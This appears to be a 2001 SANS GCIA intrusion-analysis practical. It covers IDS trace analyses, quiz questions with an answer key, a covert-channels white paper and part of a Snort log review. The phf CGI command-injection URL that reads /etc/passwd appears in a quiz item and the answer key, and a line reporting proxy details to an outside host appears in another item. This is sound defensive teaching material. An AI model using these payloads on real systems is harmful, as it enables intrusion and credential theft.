Evidence of Active Targeting

This is a clear case of active targeting. The scan is looking for listening web ports, and then trying to run web based attacks.

Severity

(Critical + Lethal) – (System + Net Countermeasures) = Severity

Criticality of target: 5
The system is a web server.

Lethality of attack: 3
The port scan resulted in finding a web server, which seems to be private; however, the CGI phf attack was unsuccessful.

Host-based countermeasures: 3
I cannot say: however, based on the level of description provided by the contributor I would say that this system is adequately protected from a host base perspective.

Network-base countermeasures: 4
This network definitely has an IDS deployed and probably has a firewall deployed; however, I marked it down a little due to its popularity. I have seen many posts from this contributor and in this case the destination IP address was not sanitized.

Total severity: 1

Defensive Recommend-ations

The first line of defense would be to remove the phf program if not being used. If the program is required, you should apply the latest patches. This should not be a concern since phf has been made obsolete by the phf dynamic content system. The second line of defense would be a good IDS system. In this case snort was utilized successfully.

Multiple Choice Test Question 7

What file is commonly exploited using the phf attack?

a) /windows/system.ini
b) /etc/passwd
c) /etc/services
d) All of the above

Multiple Choice Test Question 8

In the following line, which character string allows a second command to be passed to the phf application?

```
http://www.example.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
```

a) Qalias=x%0a
b) phf?
c) bin
d) cat%20

Network Detect 5

(Gary Portnoy)
Matt, This is regarding 194.133.58.129 and 212.208.74.129. I sent the email below to the incidents list at securityfocus and got a few responses. In the few responses that I got the consensus seemed to be that this is a best route/proximity algorithm. I think I was even able to generate them by going to some website, but for the life of me I can't remember which. HTH -Gary-

-----Original Message-----
From: Portnoy, Gary
Sent: Thursday, March 08, 2001 10:02 AM
To: 'incidents@securityfocus.com'
Subject: OS Fingerprinting or best route determination?

Hello,
Anyone have any idea what's going on here? To me it looks like OS Fingerprinting, minus the malformed packets. We have a SYN to an open port, an ACK to an open port, and a UDP packet to a closed port. I've seen this same combination (IP addresses, ports, timing) before, about 7 times in the last 3 weeks. 194.133.58.129 resolves to bestroute1-t.alcatel.fr, which leads me to believe it's an attempt to pinpoint a closest webserver or something like that, but isn't this a little too intrusive for that? Also, why the second address (212.208.74.129)? Some sort of triangulation?

```
03/08-06:07:36.621657  [**] IDS28 - PING NMAP TCP [**] 194.133.58.129:80
-> x.y.z.3:53
03/08-06:07:36.621916  [**] IDS07 - MISC-Source Port Traffic 53 TCP [**]
194.133.58.129:53 -> x.y.z.3:53
03/08-06:07:36.724300  [**] IDS07 - MISC-Source Port Traffic 53 TCP [**]
212.208.74.129:53 -> x.y.z.3:53

03/08-06:07:36  UDP 194.133.58.129:55 -> x.y.z.3:37852  (Firewall log)

[**] IDS28 - PING NMAP TCP [**]
03/08-06:07:36.621657 194.133.58.129:80 -> x.y.z.3:53
TCP TTL:48 TOS:0x0 ID:49468 IpLen:20 DgmLen:40
***A**** Seq: 0x251  Ack: 0x0  Win: 0x578  TcpLen: 20
```

Source of Trace This trace was downloaded from http://www.sans.org/y2k/032401-1230.htm.

Detect was Generated By This detect is definitely from an IDS package, but I am not sure which one. There is also a firewall log included for correlation.

Probability the Source Address was Spoofed

This is probably not a spoofed IP address. I utilized RIPE to determine who owns 194.133.58.129.

http://www.ripe.net/cgi-bin/whois

```
inetnum:      194.133.0.0 - 194.133.255.255
netname:      EU-GLOBALONE-OTHER-970109
descr:        ALLOCATED BLOCK
descr:        Provider Local Registry
descr:        this allocation was transfered from eu.sprint
country:      EU
admin-c:      PW269-RIPE
tech-c:       CC3641-RIPE
status:       ALLOCATED PA
mnt-by:       RIPE-NCC-HM-MNT
mnt-lower:    AS4000-MNT
changed:      hostmaster@ripe.net 19970109
changed:      hostmaster@ripe.net 19980615
changed:      hostmaster@ripe.net 19990510
changed:      hostmaster@ripe.net 19990826
changed:      hostmaster@ripe.net 20000919
source:       RIPE
```

A reverse DNS lookup provides:

```
Name:    bestroute1-t.alcatel.fr
Address:  194.133.58.129
```

Their American web site www.usa.alcatel.com indicates that they are a global communications company operating in more than 130 countries.

212.208.74.129 is probably not a spoofed IP address either. It cannot be resolved via reverse DNS lookup; however, RIPE indicates the French division of Alcatel. This suggests that these two IP addresses are related.

```
inetnum:      212.208.74.0 - 212.208.74.255
netname:      ALCANET-NET1
descr:        ALCANET INTERNATIONAL
country:      FR
admin-c:      SA536-RIPE
tech-c:       OL2-RIPE
rev-srv:      ns.alcatel.fr
rev-srv:      s1.iway.fr
status:       ASSIGNED PA
mnt-by:       IWAY-NOC
changed:      adali@iway.fr 19981006
source:       RIPE
```

Description of Attack	I do not believe this is an attack. It would seem that a load balancer is figuring out the best route for the connections. Correlations show that Radware may be using UDP port 37852 as well as TCP port 53, which is DNS to do some sort of load balancing algorithm. The closest explanation to the second IP address was found on the Radware web site: http://www.radware.com/archive/pdfs/whitepapers/SynApps.pdf It mentioned a technique call Local Triangulation. This may explain the introduction of the UDP port 37852.
Attack Mechanism	This is not an attack. It is load-balancing mechanism, possible called Local Triangulation.

Correlations http://www.sans.org/y2k/032301-0915.htm

(Matt Fearnow)
Hmm it has made a few rounds else where too -

Date	Source IP	Source Port	Destination Port	Protocol	How Many	Flags Set
3/13/2001	194.133.58.129	80	80	6	1	
3/13/2001	194.133.58.129	0	0	1	1	
3/6/2001	194.133.58.129	0	37852	17	1	
2/19/2001	194.133.58.129	55	37852	17	1	
2/19/2001	194.133.58.129	80	53	6	1	
2/19/2001	194.133.58.129	0	37852	17	1	
2/13/2001	194.133.58.129	55	37852	17	1	
2/13/2001	194.133.58.129	80	53	6	1	
1/29/2001	194.133.58.129	36818	37852	17	1	
1/29/2001	194.133.58.129	80	80	6	1	
1/22/2001	194.133.58.129	0	37852	17	1	
1/16/2001	194.133.58.129	0	37852	17	1	
1/16/2001	194.133.58.129	0	80	6	1	
1/4/2001	194.133.58.129	0	37852	17	1	
1/4/2001	194.133.58.129	0	53	6	1	

http://www.radware.com/archive/pdfs/whitepapers/SynApps.pdf

This is a white paper on SynApps Architecture, which includes information on how load balancing is achieved.

http://www.sans.org/y2k/031401.htm

(John Benninghoff)

SANS/GIAC: Recently, I was contacted by a sysadmin who was investigating the "37852 UDP portscan." He forwarded me an explanation from the owner of the IP address that sent the UDP 37852 packets:

This IP address corresponds to our Load Balancing/Fault Tolerance equipment: Radware Linkproof. It is not at all a scan or whatever. The Linkproof is the only other alternative (of BGP4 and Autonomous System) when you have multi-homing of Internet accesses. The Linkproof tries to calculate the best route (in terms of load and response time) to a target server. To do that the Linkproof sends a SYN or ICMP or a UDP packet in all Internet links to the same target and direct the next steps of the connection to the link that is the best route considered by its algorithm. Of course it has a table of targets so that it does not do this process for all outbound requests and refreshes its tables regularly. So you should not at all consider this as a scan, an attack or whatever.

This corresponds well to the data I have. A typical "scan" includes a udp packet followed by an ICMP echo request, then TCP ACK, TCP SYN, TCP RST, normally directed at our name server:

```
13:13:20.168831 remote.ip.addr.8155 > our.ns.ip.addr.37852:  udp 10
13:13:20.173090 remote.ip.addr > our.ns.ip.addr: icmp: echo request
13:13:20.177143 remote.ip.addr.80 > our.ns.ip.addr.53: . ack 0 win
1024
13:13:20.179477 remote.ip.addr.8153 > our.ns.ip.addr.53: S
1400205407:1400205407(0) win 1024
13:13:25.161340 remote.ip.addr.8153 > our.ns.ip.addr.53: R
1400205408:1400205408(0) win 1024
13:13:25.167562 remote.ip.addr.8155 > our.ns.ip.addr.37852:  udp 10
13:13:25.170678 remote.ip.addr > our.ns.ip.addr: icmp: echo request
13:13:25.174444 remote.ip.addr.80 > our.ns.ip.addr.53: . ack 1 win
1024
13:13:25.178538 remote.ip.addr.8153 > our.ns.ip.addr.53: S
1401455407:1401455407(0) win 1024
13:13:30.160117 remote.ip.addr.8153 > our.ns.ip.addr.53: R
1401455408:1401455408(0) win 1024
13:13:30.171168 remote.ip.addr.8153 > our.ns.ip.addr.53: R
1401455408:1401455408(0) win 1024
```

Radware's (http://www.radware.com) own white papers (specifically http://www.radware.com/archive/pdfs/whitepapers/SynApps.pdf) support this conclusion, although they don't specifically mention 37852.

Evidence of Active Targeting

No, this is not a case of active targeting.

Severity

(Critical + Lethal) – (System + Net Countermeasures) = Severity

Criticality of target: 2
This is probably a workstation, which initiated a web connection.

Lethality of attack: 0
This was not an attack.

Host-based countermeasures: 1
I would speculate none.

Network-base countermeasures: 5
This network has an IDS and a firewall deployed and it is operating well enough to catch and log this particular traffic.

Total severity: -4

Defensive Recommend-ations

I would not recommend anything for this situation.

Multiple Choice Test Question 9

What is the best tool for researching anomalous traffic on your network?

a) Correlations on www.sans.org
b) Firewall logs
c) IDS event notifications
d) All of the above

Multiple Choice Test Question 10

What is a possible explanation for the trace below?

```
03/08-06:07:36.621916  [**] IDS07 - MISC-Source Port Traffic 53 TCP
[**] 194.133.58.129:53 -> x.y.z.3:53
03/08-06:07:36.724300  [**] IDS07 - MISC-Source Port Traffic 53 TCP
[**] 212.208.74.129:53 -> x.y.z.3:53
```

a) Local triangulation
b) Spoofed addresses doing a TCP port scan to find DNS servers.
c) Two distinct sources initiating a NMAP TCP ping at the same time.
d) All of the above

Answer Key

Answer to Question 1

What is a good resource for commonly probed ports?

a) http://www.sans.org/y2k/ports.htm
b) http://home.tiscalinet.be/bchicken/trojans/trojanpo.htm
c) http://www.nethog.com/feeds/niteryder/trojans.htm
d) All of the above… plus www.google.com (search for Trojan ports)

Answer to Question 2

In the trace provided, which destination port is not a standard SubSeven port?

```
03/01/2001 09:58:17 in 24.19.68.169[4213] ==> 24.180.145.54[1243]
03/01/2001 09:58:17 in 24.19.68.169[4214] ==> 24.180.145.54[27374]
03/01/2001 09:58:17 in 24.19.68.169[4215] ==> 24.180.145.54[9055]
```

a) 4213
b) 1243
c) 4214
d) 9055

Answer to Question 3

Which combination of TCP flags is never seen together?

a) SYN-ACK
b) SYN-FIN
c) SYN-RST
d) None of the above

Answer to Question 4

In the following trace, what combination is unusual?

```
206.42.43.8,18245 -> 10.0.0.139,21536 PR tcp len 20 484 -ASFU
  796157304 1952868716 12135
62.180.216.37,18245 -> 10.0.0.139,21536 PR tcp len 20 419 -ASFU
  796157304 1952868716 12064
```

a) SF flags are set together
b) The source IP address is different, but the sequence numbers are the same.
c) Answers A and B
d) None of the above

Answer to Question 5

A "Defense in Depth" strategy calls for multiple layers of defense. Which of the following could be utilized to help prevent the Ring Zero attack?

a) Implement a firewall
b) Implement an IDS solution
c) Implement an Anti-Virus solution
d) All of the above

Answer to Question 6

What is the following script trying to accomplish?

```
get http://www.rusftpsearch.net/cgi-bin/pst.pl/?pstmode=writeip\
&psthost={proxys_ip_address}&pstport={proxys_port}
```

a) It is getting web information from www.rusftpsearch.net
b) It is executing a cgi-bin script on www.rusftpsearch.net
c) It is sending proxy information back to www.rusftpsearch.net
d) All of the above

Answer to Question 7

What file is commonly exploited using the phf attack?

a) /windows/system.ini
b) /etc/passwd
c) /etc/services
d) All of the above

Answer to Question 8

In the following line, which character string allows a second command to be passed to the phf application?

```
http://www.example.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
```

a) Qalias=x%0a
b) phf?
c) bin
d) cat%20

Answer to Question 9

What is the best tool for researching anomalous traffic on your network?

a) Correlations on www.sans.org/giac.htm
b) Logs from a firewall
c) Notifications from an IDS
d) All of the above

Answer to Question 10

What is a possible explanation for the trace below?

```
03/08-06:07:36.621916  [**] IDS07 - MISC-Source Port Traffic 53 TCP
[**] 194.133.58.129:53 -> x.y.z.3:53
03/08-06:07:36.724300  [**] IDS07 - MISC-Source Port Traffic 53 TCP
[**] 212.208.74.129:53 -> x.y.z.3:53
```

a) Local triangulation
b) Spoofed addresses doing a TCP port scan to find DNS servers.
c) Two distinct sources initiating a NMAP TCP ping at the same time.
d) All of the above

Assignment 2 – Describe the State of Intrusion Detection (30 Points)

Scope

Write a white paper on any single intrusion detection technology or challenge. You may choose any IDS, IDS technology or approach, or network pattern; or you may choose any attack, reconnaissance technique, denial of service, or exploit that operates across a network or within a host system.

If you choose an IDS, IDS technology or approach, or network pattern:

> Your paper should be better than the standard papers in the SANS Intrusion Detection FAQ (http://www.sans.org/newlook/resources/IDFAQ/ID_FAQ.htm). Be certain to state clearly what you are trying to show and then to use a combination of explanations and references to demonstrate your point. The purpose of this exercise is for GCIA candidates to demonstrate a clear understanding of a facet of intrusion detection technology or practice.

If you choose an attack, reconnaissance technique, denial of service, or exploit:

> This option was used in the Monterey practical (October 2000) and there are some excellent examples with those papers (http://www.sans.org/y2k/analysts.htm). Some attacks can be carried out using standard operating system commands, so you do not have to download potentially destructive code onto your system.
>
> 1. Give the URL, location, or command that you acquired the attack from.
> 2. Describe the attack, including how it works.
> 3. Provide an annotated network trace of the attack in action (using Snort, tcpdump, windump, Shadow, snoop etc.)
>
> If you choose a tool like nmap, be certain to prune your traces to a minimum and carefully describe the testing mechanism. If you simply cut and paste from the web site and throw in pages of output, you will not receive any points for this assignment. The purpose of the exercise is for the GCIA candidate to demonstrate a clear understanding of threat.
>
> For any option, your paper must be at least three pages long, single-spaced, with 12 point font, and a minimum of five references. Successful examples may be posted in the IDFAQ or Information Security Reading Room (http://www.sans.org/infosecFAQ/index.htm).

Approach

I will attempt to discuss the technique and art of hiding information. There are many approaches to concealing information, which include covert channels, steganography, chaffing and winnowing, and, obviously, encryption. Primarily, I want to focus on hiding information through obscurity. Encryption is different from the others, in that, it is somewhat obvious that you are hiding information; however, all of the techniques are a type of deception. I will try to highlight each of the deceptive techniques, and provide fundamentals about why the techniques are used, how they are used, and how they can be detected or deterred.

Hiding A Message

(The H.A.M. Sham Scam)

What is the H.A.M Sham Scam? Well, it's the attempt to hide a message in a deceitful manner while maintaining a genuine pretense. Basically, a covert channel is an undesirable communication using a means considered to be acceptable. The US Department of Defense *Trusted Computer System Evaluation Criteria*, known as the Orange Book, defines a covert channel as:

> A covert channel is any communication channel that can be exploited by a process to transfer information in a manner that violates the system's security policy. [1]

Although the Orange Book definition does not indicate a requirement to be innocuous, the techniques concerning covert channels I would like to focus on utilize that very aspect. A simple example can be found in the following text:

> I sent this message to explain my feelings for you.
> Let me begin by saying that I have truly enjoyed
> our long walks together. In fact, the sunset was
> very amorous. I want these moments to happen
> every day of my life, and I want them to be with
> you. If you were to leave tonight, I would die
> over and over again. Please, consider these words
> until I write again.

What are the words? Read the first character of each line, and you will see that the hidden message is "I Love you." Although this is a weak love letter, you can see that the message is in plain sight; you just have to look for it. That is how some covert channels work; the point is to be innocuous to deflect further investigation.

Covert Channels

Again, all the techniques I will discuss are really covert channels, but there are specific tools you may begin to think about when I say "Covert Channels." A popular covert shell and possibly the pioneer of the covert channel is Loki. The Loki Project was a white paper originally published in Phrack Magazine in August 1996. The architect of the Loki Project, daemon9, named the project after a Norse god who embodied the characteristics of the covert channel. The author wrote, "Loki, the Norse God of deceit and trickery, the 'Lord of Misrule' was well known for his subversive behavior. Inversion and reversal of all sorts was typical for him. Due to its clandestine nature, we chose to name this project after him." [2]

Loki uses the Internet Control Message Protocol (ICMP) as a covert shell. ICMP, documented in RFC 792, has 15 message types; however, Loki utilizes only two types. Those two types are echo message, which is type 8 and echo reply message, which is type 0. ICMP messages are generally used to provide feedback in the networking environment. For example, if a gateway's routing table indicates that a network is unreachable, and it receives a request from a host the gateway will send an ICMP type 3 code 0 (net unreachable) message. [3]

The ping program uses timed IP/ICMP Echo_Request and Echo_Reply packets to probe the distance to the target machine, much like sonar, which is where the name originally came from. [4] The ping program is used as a connectivity-testing tool and is frequently allowed to pass through routers and firewalls alike.

In the white paper by daemon9, the author states, "Ping traffic is ubiquitous to almost every TCP/IP based network and subnetwork. It has a standard packet format recognized by every IP-speaking router and is used universally for network management, testing, and measurement. As such, many firewalls and networks consider ping traffic to be benign and will allow it to pass through, unmolested. [2]

The issue is that the ICMP Echo_Request and Echo_Reply packet has an ICMP header with 8 bytes of information followed by the data payload, which can be of any size. Typically, the data payload is timing information, but there is not a check currently performed by any device to authenticate the contents. Given that the data payload can be of any size and of any content, the covert channel exists.

A year after Project Loki's introduction, the actual source code for Loki was released. Not only did it include the ICMP embedded channel, but it also introduced a UDP version, which also made use of the data field. Masquerading as a DNS query, the UDP version along with the ICMP version added misdirection to the growing list of capabilities. As I mentioned before, just because its covert, does not mean that its invisible. To address that they also added blowfish encryption. Now if the covert channel was discovered the information would not necessarily be divulged.

Shortly after the introduction of Loki in November 1996, Craig Rowland introduced the concept of manipulating the IP header information to create covert channels. In his paper "Convert Channels in the TCP/IP Protocol Suite" he describes the use of three methods of encoding information in a TCP/IP header: Manipulation of the IP identification field, initial sequence number field, and TCP acknowledgement sequence number field "bounce." He would manipulate the TCP/IP header information in such a way as to encode ASCII values and create messages. His program called covert_tcp created a covert channel for Linux file transfers. It creates a covert channel in which the data is transferred about one packet per second. The reason for this is there is no flow control or error correction in this implementation; therefore each packet is sent about a second apart to keep them in sequence. In fact, it acts much like a connectionless protocol like ICMP or UDP. Craig Rowland suggests an application proxy firewall as a means of defense against any TCP/IP header modification. The application proxy firewall would be used to tear down the connection and then establish a new connection, consequently, recreating the TCP/IP header. [5]

Several other covert shells are discussed in the white paper, "Covert Shells" by J. Christian Smith. The author covers Loki, Daemonshell-UDP, ICMP Backdoor, 007 Shell, Rwwwshell, B0CK, and AckCmd. In the conclusion, the author tries to assert that short of disconnecting the system from the network, covert channels are going to be hard to stop. However, the covert channel itself is not an attack vector, it is simply a discrete communication tool. Alone, it will probably not draw enough attention to itself to be discovered; therefore, the prevention needs to take place before the Trojan or backdoor is put in place that will take advantage of the covert channel. [6]

Steganography

Steganography can also be considered a covert channel in that it is used for hiding a message. In the white paper, "What is Steganography?" Richard Lewis writes:

> Steganography, literally meaning *covered writing,* involves the hiding of data in another object. From the time of Herodotus in ancient Greece to the terrorist of today, the secret writing of steganography has been used to deny one's adversaries the knowledge of message traffic. [7]

Essentially, you hide a secret message within a larger one in such a way that others cannot detect the existence of a hidden message. Eric Cole, who is currently working on his Ph.D. in network security, emphasizing Intrusion Detection and Steganography from George Mason University, provided the example I like. At the SANS conference in New Orleans, he explained the process of hiding a message in an image by changing pixels. Essentially, embed a message into an image by changing the least significant bit. An example of an image and a wave file can be found in the white paper, "Introduction to Steganography," written by Jeremy Krinn. [8]

Steganography is a passive covert channel, implying that one can only send information by creating an image, text, or even a wave file. Some exploitative uses of Steganography might include information racketeering; however, this technique also has some tremendous benefits.

Steganography can be used to sign intellectual property that is distributed providing authentication. If materials were copied, the embedded "signature" would be copied as well providing an indelible link back to the original creator.

Chaffing and Winnowing

Another covert channel technique introduced by Ronald L. Rivest is called chaffing and winnowing. To winnow is to "separate out or eliminate (the poor or useless parts)," (Webster's Dictionary), and is often used when referring to the process of separating grain from chaff.

The technique involves authenticating a message using a Message Authentication Code (MAC) and then adding the chaff. The chaff is a bogus MAC. The recipient winnows the chaff to obtain the original message. Essentially, you simulate encryption, or at least you create a covert channel, using authentication.

Authentication provides non-repudiation, that is, the sender cannot deny having sent the message. This is accomplished by creating a MAC using the message and a secret authentication key, which is then appended to the original message. The sender and the receiver share the key, and the sender can then use the key to determine if the message is authentic.

Taking advantage of the MAC is critical in the chaffing and winnowing technique. The first step is to generate a message, which we want hidden and then separate it into smaller sections. Because each section will be sent approximately one second apart, Rivest includes a concept of serial numbers to provide order to the message after it is received. Each section will be assigned a unique serial number that will be used to reassemble the legitimate packets back together to form the hidden message. We would then generate a valid MAC for each section. Then bogus sections are created to obscure the complete message. The bogus sections would include reasonable message content and serial numbers; however, each section would have an invalid MAC. This is the chaffing process, and the message can be sent.

Next, the message is received and the winnowing process takes place. Specifically the receiver will discard all of the bogus sections leaving the hidden message. It just so happens, that the system will automatically discard the sections with bad MACs. So the winnowing process is a normal process of the system. [9]

The chaffing and winnowing technique provides confidentiality without involving encryption. The possible uses are limited to messaging; however, this is a very powerful tool to those with limited access to encryption technology. As I see it, there is not a good preventative tool, but should privacy be limited?

Conclusion

As security professionals, it is our goal to protect the confidentiality, integrity, and availability of all our information assets. Every organization should start with a security policy, which will help guide every decision. From this an organization will have the necessary framework to analyze their needs, plan a direction, design a solution, deploy the design, maintain the deployment, and respond to incidents. If the security policy and procedures are well defined, the users are provided a well-developed security awareness training program, the security staff is empowered to achieve a highly secured environment, an incident response team is in place, and the proper security tools are available, the risk of a successful attack or the resulting damage should be minimal.

References

[1] U. S. Department Of Defense, 1985. Trusted Computer System Evaluation Criteria

[2] http://phrack.infonexus.com/search.phtml?view&article=p49-6

[3] http://rfc.net/rfc792.html

[4] http://ftp.arl.mil/~mike/ping.html

[5] http://www.firstmonday.dk/issues/issue2_5/rowland/

[6] http://www.sans.org/infosecFAQ/covertchannels/covert_shells.htm

[7] http://www.sans.org/infosecFAQ/covertchannels/steganography3.htm

[8] http://www.sans.org/infosecFAQ/covertchannels/steganography.htm

[9] Chaffing and Winnowing: Confidentiality without Encryption, Ronald L. Rivest, MIT Lab for Computer Science, 1998-03-22

Assignment 3 – "Analyze This" Scenario (30 Points)

Scope

This is a scenario-based question. Your organization has been asked to provide a bid for security services to GIAC Enterprises, an e-business startup that sells electronic fortune cookie sayings. You have been provided with one month's worth of data from a Snort system with a fairly standard rulebase. (**Note:** if you are not familiar with Snort, you should download a copy of the ruleset from www.snort.org as a reference.) This data is posted at www.sans.org/giactc/snort/index.htm. From time to time, the power has failed or the disk was full so you do not have data for all days.

Your task is to analyze the data. Be especially alert for signs of compromised systems or network problems and produce an analysis report. Sometime after the due date for this practical, the Snort files will be removed; DO NOT use URLs to reference the data! You must cut and paste any exhibits or traces into your report.

In order to get the highest possible score on this assignment, keep in mind that the purpose of this question is provide an opportunity for you to demonstrate your mastery of the subject material and your analysis ability.

NOTE: You are strongly encouraged to consult the practicals of other students that had a similar assignment (DC/July, Ottawa/August, Monterey/October, and Washington DC/December) in order to build from their analysis and look for correlations. You may also want to read about the tools and techniques that previous students used for analysis – you will have about 20 MB of data to analyze and that could get tiresome by hand.

Earlier students had the same assignment but did NOT use the same data set that you will be working with! You may reference earlier students' work for correlation purposes. Note well that this assignment has been run on multiple classes and many of those students have documented their analysis techniques. Therefore, we are expecting your analysis to be more in depth than the previous practicals.

Approach

My organization has been tasked to analyze Snort logs looking for signs of compromised systems or network problems and produce an analysis report. Scott Crimminger, from ColdLabs, was the analyst assigned to complete this project. Mr. Crimminger has been in the system administration, networking, and security industry for over 8 years. He currently has his CISSP (Certified Information Systems Security Professional), CCNA (Cisco Certified Network Administrator) and he is currently working on his SANS GCIA (GIAC Certified Intrusion Analyst). He will be submitting this report as a practical toward his GCIA certification.

To facilitate the analysis, the customer was requested to provide as much information as possible. Network diagrams and system configurations were requested, and to supplement that information, an onsite visit was requested to review the infrastructure as well as to conduct end user interviews. Unfortunately, the customer could not provide current documentation, and the urgency for the analysis made onsite interviews impractical.

The analysis of the Snort [1] logs provided by GIAC Enterprises was started utilizing SnortSnarf [2]. Snort is a lightweight network intrusion detection system, which the client has used to capture and provide alerts based on a standard rulebase. SnortSnarf is a perl program designed to take the Snort logs and produce HTML output. The HTML pages include links that provide cross-referencing capabilities. Additional methods, such as the grep, egrep, and wc commands, were utilized to provide correlation of interesting events.

Analysis

After downloading the files provided by GIAC Enterprises, they were immediately saved on a secure system. The client already sanitized the files, so that was not a requirement; however, SnortSnarf needed the MY.NET changed to a valid IP address. To do this, I concatenated all the alert files into one file called snortalert.txt. Once that was done the following command was run:

```
# snortsnarf.pl snortalert.txt
```

This created the HTML output associated to the alerts. There were several options that could have been used; however, the processing capabilities of the system were limited so the basic output sufficed.

Once the HTML pages were created reviewing the index.html was the first step of the analysis:

SnortSnarf Index Page

194039 alerts found
Earliest alert at **00:00:46**.876474 *on 01/01*
Latest alert at **23:45:47**.026613 *on 12/31*

Signature	# Alerts	# Sources	# Dest.
Watchlist 000220 IL-ISDNNET-990517	105918	46	100
SYN-FIN scan!	51192	37	27067
DNS udp DoS attack described on unisog	16146	8	6
Tiny Fragments - Possible Hostile Act.	5340	27	13
connect to 515 from outside	4238	10	2877
Watchlist 000222 NET-NCFC	2401	31	19
WinGate 1080 Attempt	2239	474	572
Attempted Sun RPC high port access	2053	16	23
Null scan!	826	527	173
Queso fingerprint	710	52	72
SNMP public access	591	20	7
NMAP TCP ping!	558	47	156
Russia Dynamo - SANS Flash 28-jul-00	546	2	2
SMB Name Wildcard	515	93	171
SUNRPC highport access!	204	25	19
connect to 515 from inside	159	10	98
Broadcast Ping to subnet 70	154	24	1
TCP SMTP Source Port traffic	100	5	88
Back Orifice	77	10	71
External RPC call	59	15	25
Probable NMAP fingerprint attempt	8	5	6
SITE EXEC - Possible wu-ftpd exploit - GIAC000623	3	3	3
STATDX UDP attack	1	1	1

Happy 99 Virus	1	1	1

The next step would be to evaluate the risk. Risk can be defined as the combination of the likelihood that a threat will occur, the likelihood that occurrence of a threat will result in an adverse impact, and the severity of the resulting adverse impact. It is the probability that a particular security threat will exploit a system vulnerability. Reducing either the vulnerability or the threat reduces the risk. [4] As mentioned before, my organization was not provided with system information so investigation of the vulnerabilities is limited to the threat and the related success as indicated by the Snort logs. To understand what the threats are, each signature and its analysis follow:

You may note that each signature has a word and a number beside it. Each signature was classified as a reconnaissance scan (recon), a denial of service (dos), or an attack, and each signature was given a grade based on the threat and relative success. The scale is from one to five where five is a major threat and /or is relatively successful.

Watchlist 000220 IL-ISDNNET-990517 – n/a

The watchlist is provided because of the frequency of scans that are launched from the offending network. The IL-ISDNNET indicates an ISP called ISDNNET located in Israel. It is provided as a signature, and the recommendation is to keep a close watch on the types of traffic coming into your network. If you are able to block the these addresses at the firewall without impacting your business, it is recommended that you do so.

http://www.ripe.net/cgi-bin/whois

```
inetnum:      212.179.79.0 - 212.179.79.63
netname:      CREOSCITEX
descr:        CREOSCITEX-SIFRA
country:      IL
admin-c:      ZV140-RIPE
tech-c:       NP469-RIPE
status:       ASSIGNED PA
notify:       hostmaster@isdn.net.il
changed:      hostmaster@isdn.net.il 20001109
source:       RIPE
```

The logs indicate that this alert is generated because of the source being from the offending network; however, a connection does not show as completed in the alerts. This is probably because the connection would show the source as being from the client network making it bypass this alert. Here is an example trace.

```
01/04-02:54:06.872039 [**] Watchlist 000220 IL-ISDNNET-990517 [**]
212.179.27.111:1778-> 192.168.201.222:6688
```

In order to find any other instances of the client IP not associated with the Watchlist, the following command was used:

grep 192.168.201.222 * | egrep -v -e '(SYN|Watchlist)'

The following traces were found:

```
01/02-16:16:47.594317 [**] Null scan! [**] 213.96.7.214:60860->
192.168.201.222:6688
01/05-07:24:51.861113 [**] Null scan! [**] 62.31.28.201:18245->
192.168.201.222:21504
01/06-08:37:18.453399 [**] Probable NMAP fingerprint attempt [**]
153.19.144.207:1065-> 192.168.201.222:1878
```

None of these were completed connections so these were probably a TCP port scan similar to the NMAP fingerprint attempt. That assumption is based on the analysis indicated in the NMAP fingerprint section.

Watchlist 000222 NET-NCFC – n/a

The NET-NCFC

http://www.arin.net/whois/index.html

```
The Computer Network Center Chinese Academy of Sciences (NET-NCFC)
   P.O. Box 2704-10,
   Institute of Computing Technology Chinese Academy of Sciences
   Beijing 100080, China
   CN

   Netname: NCFC
   Netblock: 159.226.0.0 - 159.226.255.255
```

The following source IP address has the most alerts at 900.

Source	# Alerts (sig)	# Alerts (total)	# Dsts (sig)	# Dsts (total)
159.226.121.37	900	900	5	5

A lot of activity typically indicates a legitimate user, or an overconfident hacker. This user went to 5 different destinations, which need to be reviewed to understand the intent.

In the following trace the source IP address 159.226.121.37 is attempting to connect to the destination IP address 192.268.6.7 on TCP port 143, which is the Internet Message Access Protocol (IMAP), a mail server process.

```
01/04-23:05:00.303237 [**] Watchlist 000222 NET-NCFC [**]
159.226.121.37:1032-> 192.168.6.7:143
```

In order to determine that 505 connections were made to 192.168.6.7 on TCP port 143, the following command was used:

grep 192.168.6.7:143 SnortA*.txt | wc

Correlating to the following trace, which is a Simple Mail Transport Protocol (SMTP) connection on TCP port 25, it would indicate that this is legitimate traffic from a remote user.

```
01/05-01:51:58.440762 [**] Watchlist 000222 NET-NCFC [**]
159.226.121.37:1087-> 192.168.253.51:25
```

Utilizing the word count command again, there are 39 connections to the SMTP service.

The following trace shows a connection to TCP port 443, which is the Secure Hypertext Transfer Protocol (HTTPS) indicating a secure web server connection.

```
01/05-02:16:40.698109 [**] Watchlist 000222 NET-NCFC [**]
159.226.121.37:1264-> 192.168.5.29:443
```

There are 1405 connections to the secure web server; however, 5 of those were Null Scans to the same destination by other sources, and 1125 were from the ISDNNET Watchlist. Running the following command provided a more accurate count of 275 connections.

grep 192.168.5.29:443 SnortA*.txt | grep NET-NCFC | wc

The following trace shows 57 connections to another SMTP service.

```
01/08-02:11:45.998459 [**] Watchlist 000222 NET-NCFC [**]
159.226.121.37:1526-> 192.168.253.53:25
```

The following trace shows four connections from TCP port 113, which is the ident or authentication service.

```
01/08-02:11:51.100945 [**] Watchlist 000222 NET-NCFC [**]
159.226.121.37:113-> 192.168.253.53:32968
```

The following trace shows another four connections from TCP port 113.

```
01/12-02:01:52.144088 [**] Watchlist 000222 NET-NCFC [**]
159.226.121.37:113-> 192.168.253.51:55328
```

Based on the precision of accessing the specific services without any reconnaissance, it is easy to say that this is a legitimate user.

SYN-FIN scan! – recon 3

This is a TCP scan with the SYN-FIN flag set. This never happens naturally and it is used to elicit a response in an attempt to determine the type of operating system being used.

SYN-FIN scan!	37 sources	27067 destinations

An indication that this is an automated scan is the fact that a small number of sources scanned a large number of destinations. The probability that a source is spoofed is low since the attacker needs a response to gain the information needed to launch a more serious attack. The next step is to get additional information about the source IP address.

Source	# Alerts (sig)	# Alerts (total)	# Dsts (sig)	# Dsts (total))
211.34.40.1	17604	17604	17604	17604

Using Geektools whois lookup, the source IP address 211.34.40.1 belongs to a Korean high school.

http://www.geektools.com/cgi-bin/proxy.cgi

```
IP Address          : 211.34.40.0-211.34.40.127
Connect ISP Name    : PUBNET
Connect Date        : 19991002
Registration Date   : 19991022
Network Name        : YOUSUBOOYOUNG-GHS
